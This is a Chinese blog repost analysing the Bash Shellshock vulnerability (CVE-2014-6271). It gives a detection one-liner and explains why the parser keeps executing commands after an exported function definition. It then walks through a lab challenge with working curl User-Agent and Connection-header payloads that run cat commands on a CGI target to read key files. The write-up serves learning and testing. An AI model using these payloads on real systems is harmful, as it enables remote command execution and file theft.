Bash漏洞分析溯源

编程入门 行业动态 更新时间:2024-10-23 06:25:16

漏洞编号:

CVE-2014-6271

漏洞名称:

Linux Bash远程可执行漏洞

漏洞影响范围:

所有安装GNU bash 版本小于或者等于4.3的Linux操作系统

漏洞检测:

使用以下命令检测是否存在此漏洞:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果返回显示有“vulnerable” ,则表示存在漏洞,如果没有,则表示没有漏洞。

例如,当存在漏洞是,修复前的输出为:

vulnerable
this is a test

bash漏洞的原理:

BASH除了可以将外壳变量导出为环境变量,还可以将外壳函数导出为环境变量!当前版本的bash中通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。

此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的外壳命令。

简单地说就是,巴什脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。

本题的解决思路

1、破壳漏洞,是由bash cgi产生的漏洞,如果web程序调用bash脚本就可能产生这个漏洞

2、通常cgi目录为cgi-bin,这里也是,并且破壳漏洞cgi源文件名就是pc.cgi,那么构造伪造请求包时,就可以使用url:http://ip:port//cgi-bin/poc.cgi

3、使用curl或者抓包软件构造user-Agent(或者别的参数,比如Connection)就可以将参数传进去

使用curl的方法:

curl -A '() { :; }; echo -e "\r\n";/bin/cat ../../../key.txt' http://219.153.49.228:42303/cgi-bin/poc.cgi

使用Connection的方法

 

image.png

() { :;}; echo; /bin/bash -c 'cat /key.txt'

4、注意这次实验漏洞的利用需要在闭合函数之后立即输出一个换行,用echo;或echo -e "rn";,否则会报错(我也不知道为什么,求解答)

5、换行命令后可以接/bin/cat 或者/bin/ls 来遍历文件夹、查看key



作者:Dear丶小贱
链接:https://www.jianshu/p/dab100a8105f
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

更多推荐

Bash漏洞分析溯源

本文发布于:2023-06-14 09:55:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1463124.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   Bash

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!